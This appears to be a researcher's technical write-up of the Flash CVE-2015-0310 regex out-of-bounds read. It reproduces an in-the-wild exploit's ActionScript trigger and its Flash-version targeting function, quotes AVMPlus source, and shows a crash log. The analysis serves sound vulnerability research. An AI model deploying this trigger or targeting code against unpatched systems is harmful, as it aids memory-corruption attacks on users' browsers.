The Flash vulnerability CVE-2015-0310 is fixed in recent patch from Adobe. The vulnerability is in RegEx result parsing code. The vulnerability affects all the version below 16.0.0.287 and patched on January 2015. Though Adobe didn’t provide much information about the vulnerability fixed and very less information available in public, we have an exploit that exploits this vulnerability and have some information from IPS vendors signature names (PCRE Memory Access Violation).

Let’s dig more into the exploit from the fiddler capture shared by malware.dontneedcoffee.com. Here is the small piece of ActionScript code that triggers this vulnerability:

var _local_2 : String = “(?!e|())\37”;

var triggeringregex : String = “”;

var _regExpobject : RegExp = null;

var _local_3 : int = 0;

while (_local_3 < 48) {

_local_2 = ((“(” + _local_2) + “)|a”);

_local_3++;

};

triggeringregex = ((“sh(?!e|” + _local_2) + “)(?P<test>)”);

trace(triggeringregex);

_regExpobject = new RegExp(triggeringregex, “”);

_regExpobject.exec(“sh0123456789sh0123456789”);

The final constructed regular expression string is,

sh(?!e|((((((((((((((((((((((((((((((((((((((((((((((((?!e|())37)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)(?P<test>)

The exploit we have seen in the wild exploits very specific versions of vulnerable Flash. They used few fixed offsets based on the Flash version. The exploit works only in Flash versions 13.0.0.250 to 13.0.0.258 and 15.0.0.189 to 15.0.0.239.

final private function isitvulnerableflashversion() : Boolean {

this.FlashplayerVersion = this.GetFlashVersion();

if (this.FlashplayerVersion == 0) {

return (false);

};

this.osversion = Capabilities.os.toLowerCase();

if ((((this.osversion == “windows 8”)) || ((this.osversion == “windows 8.1”)))) // “windows 8” or “windows 8.1”

{

this.windows8 = true;

};

this.flashplayertype = Capabilities.playerType.toLowerCase();

this._FlashplayerVersion = String(this.FlashplayerVersion);

this.isItActiveX = (this.flashplayertype == “activex”);

this.isItFlashPlugin = (this.flashplayertype == “plugin”);

if (((!(this.isItActiveX)) && (!(this.isItFlashPlugin)))) {

this.booleanStopExploitation = true;

return (false);

};

if (((!(this.isItFlashPlugin)) && (this.windows8))) {

return (false);

};

return ((((((this.FlashplayerVersion >= 130000250)) && ((this.FlashplayerVersion <= 130000258)))) ||

((((this.FlashplayerVersion >= 150000189)) && ((this.FlashplayerVersion <= 150000239))))));

}

Lets dig AVMPlus code to understand the vulnerability. The vulnerability is triggered in RegExpObject::_exec() function that is in RegExpObject.cpp. This function is called when you call RegExp::exec() from the ActionScript. This function accepts the subject string and few other indexes and return an array that is returned to ActionScript during the call up.

ArrayObject* RegExpObject::_exec(Stringp subject,

StIndexableUTF8String& utf8Subject,

int startIndex,

int& matchIndex,

int& matchLen)

{

AvmAssert(subject != NULL);

int ovector[OVECTOR_SIZE];

int results;

int subjectLength = utf8Subject.length();

PCRE_STATE(toplevel());

if( startIndex < 0 ||

startIndex > subjectLength ||

(results = pcre_exec((pcre*)(m_pcreInst->regex),

NULL,

utf8Subject.c_str(),

subjectLength,

startIndex,

PCRE_NO_UTF8_CHECK,

ovector,

OVECTOR_SIZE)) < 0)

{

matchIndex = 0;

matchLen = 0;

return NULL;

}

AvmCore *core = this->core();

ArrayObject *a = toplevel()->arrayClass()->newArray(results);

a->setAtomProperty(core->kindex->atom(),

core->intToAtom(utf8Subject.toIndex(ovector[0])));

a->setAtomProperty(core->kinput->atom(),

subject->atom());

a->setLength(results);

// set array slots

for (int i=0; i<results; i++) {

if (ovector[i*2] > -1) {

int length = ovector[i*2 + 1] – ovector[i*2];

Atom match = stringFromUTF8(utf8Subject.c_str()+ovector[i*2], length);

a->setUintProperty(i, match);

} else {

a->setUintProperty(i, undefinedAtom);

}

}

// handle named groups

if (m_hasNamedGroups)

{

int entrySize;

pcre_fullinfo((pcre*)(m_pcreInst->regex), NULL, PCRE_INFO_NAMEENTRYSIZE, &entrySize);

int nameCount;

pcre_fullinfo((pcre*)(m_pcreInst->regex), NULL, PCRE_INFO_NAMECOUNT, &nameCount);

// this space is freed when (pcre*)m_pcreInst is freed

char *nameTable;

pcre_fullinfo((pcre*)(m_pcreInst->regex), NULL, PCRE_INFO_NAMETABLE, &nameTable);

/* nameTable is a series of fixed length entries (entrySize)

the first two bytes are the index into the ovector and the result

is a null terminated string (the subgroup name) */

for (int i = 0; i < nameCount; i++)

{

int nameIndex, length;

nameIndex = (nameTable[0] << 8) + nameTable[1];

length = ovector[nameIndex * 2 + 1] – ovector[ nameIndex * 2 ];

Atom name = stringFromUTF8((nameTable+2), (uint32_t)VMPI_strlen(nameTable+2));

name = core->internString(name)->atom();

Atom value = stringFromUTF8(utf8Subject.c_str()+ovector[nameIndex*2], length);

a->setAtomProperty(name, value);

nameTable += entrySize;

}

}

matchIndex = ovector[0];

matchLen = ovector[1]-ovector[0];

return a;

}

This function has a fixed sized array ovector[] of size OVECTOR_SIZE (99) in the stack that stores various string match’s starting and ending indexes. Two entries in ovector is used for each and every match. At the max ovector array can store up to 49 matches. RegExpObject::_exec() calls pcre_exec() that is part of PCRE framework. Flash uses old version of PCRE. If you look into pcre_exec() return values, there are four cases in it.

Returns: > 0 => success; value is the number of elements filled in

= 0 => success, but offsets is not big enough

-1 => failed to match

< -1 => some kind of unexpected problem

Positive values means success and negative values means there is some error in match or no match. It will return value 0 (zero) if “ovector” array passed to that is not big enough to hold the matches. In the vulnerable regex string we passed to the RegExpObject::_exec, if you count the number of open brackets, it will count to more than 48. So pcre_exec() is going to return 0(zero) and ovector is going to have some dummy values(0xFFFFFFFF) in it. Note that passed regex string has a “named capture” named “test”. PCRE uses an internal data structure(compile_data) to capture the information about the “named capture’s” names and offsets to ovector. While compiling the regex, PCRE uses compile_data.name_table to store the “offset”(first two bytes in network byte order) to ovector and capture name. In this case, for this regex, it’s going to have one entry like this.

For this regex, we do have a “named capture”, so m_hasNamedGroups is going to be true. At this point, Flash start processing “named capture” matches. It retrieves the “named capture” meta information for this regex using pcre_fullinfo(). It uses the “match offset” value of 0x0032(nameIndex) to access ovector. In ovector, we use two entries to store one match. So, 0x32 “match offset” means it is accessing 50*2+1 and 50+1 indexes. That is out of bound read. If you control number of open brackets then you can control the offset into the process stack to read from.

The Adobe’s patch is to check for some max limit on nameIndex that is within ovector range. Lets diff the binary to see the differences between two Flash versions.

Let’s compile and run this ActionScript code using AVMPlus. You can actually crash the AVMPlus code too. Here is the output: (i have added few more printf)

C:\flash\test>java -jar flex_sdk_4.6\lib\asc.jar -AS3 -import flex_sdk_4.6\lib\aot\lib\builtin.abc CVE_2015_0310.as

CVE_2015_0310.abc, 410 bytes written

C:\flash\test>”C:\avmplus\platform\win32\obj2010\Release\avm.exe” CVE_2015_0310.abc

sh(?!e|(((((((((((((((((((((((((((((((((((((((((((((((((?!e|())37)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)(?P<test>)

cd->bracount= 49

startIndex=0

subjectLength=24

entrySize=7

nameCount=1

nameTable[0]= 00

nameTable[1]= 32

nameIndex= 32

results=0

ovector[0]= 0

ovector[1]= 2

ovector[2]= ffffffff

ovector[3]= ffffffff

ovector[4]= ffffffff

ovector[5]= ffffffff

ovector[6]= ffffffff

ovector[7]= ffffffff

ovector[8]= ffffffff

ovector[9]= ffffffff

ovector[10]= ffffffff

ovector[11]= ffffffff

ovector[12]= ffffffff

ovector[13]= ffffffff

ovector[14]= ffffffff

ovector[15]= ffffffff

ovector[16]= ffffffff

ovector[17]= ffffffff

ovector[18]= ffffffff

ovector[19]= ffffffff

ovector[20]= ffffffff

ovector[21]= ffffffff

ovector[22]= ffffffff

ovector[23]= ffffffff

ovector[24]= ffffffff

ovector[25]= ffffffff

ovector[26]= ffffffff

ovector[27]= ffffffff

ovector[28]= ffffffff

ovector[29]= ffffffff

ovector[30]= ffffffff

ovector[31]= ffffffff

ovector[32]= ffffffff

ovector[33]= ffffffff

ovector[34]= ffffffff

ovector[35]= ffffffff

ovector[36]= ffffffff

ovector[37]= ffffffff

ovector[38]= ffffffff

ovector[39]= ffffffff

ovector[40]= ffffffff

ovector[41]= ffffffff

ovector[42]= ffffffff

ovector[43]= ffffffff

ovector[44]= ffffffff

ovector[45]= ffffffff

ovector[46]= ffffffff

ovector[47]= ffffffff

ovector[48]= ffffffff

ovector[49]= ffffffff

ovector[50]= ffffffff

ovector[51]= ffffffff

ovector[52]= ffffffff

ovector[53]= ffffffff

ovector[54]= ffffffff

ovector[55]= ffffffff

ovector[56]= ffffffff

ovector[57]= ffffffff

ovector[58]= ffffffff

ovector[59]= ffffffff

ovector[60]= ffffffff

ovector[61]= ffffffff

ovector[62]= ffffffff

ovector[63]= ffffffff

ovector[64]= ffffffff

ovector[65]= ffffffff

ovector[66]= ffffffff

ovector[67]= ffffffff

ovector[68]= ffffffff

ovector[69]= ffffffff

ovector[70]= ffffffff

ovector[71]= ffffffff

ovector[72]= ffffffff

ovector[73]= ffffffff

ovector[74]= ffffffff

ovector[75]= ffffffff

ovector[76]= ffffffff

ovector[77]= ffffffff

ovector[78]= ffffffff

ovector[79]= ffffffff

ovector[80]= ffffffff

ovector[81]= ffffffff

ovector[82]= ffffffff

ovector[83]= ffffffff

ovector[84]= ffffffff

ovector[85]= ffffffff

ovector[86]= ffffffff

ovector[87]= ffffffff

ovector[88]= ffffffff

ovector[89]= ffffffff

ovector[90]= ffffffff

ovector[91]= ffffffff

ovector[92]= ffffffff

ovector[93]= ffffffff

ovector[94]= ffffffff

ovector[95]= ffffffff

ovector[96]= ffffffff

ovector[97]= ffffffff

ovector[98]= ffffffff

entrySize=7

nameCount=1

nameTable[0]= 00

nameTable[1]= 32

nameIndex= 32

avmplus crash: exception 0xC0000005 occurred

Writing minidump crash log to avmplusCrash.dmp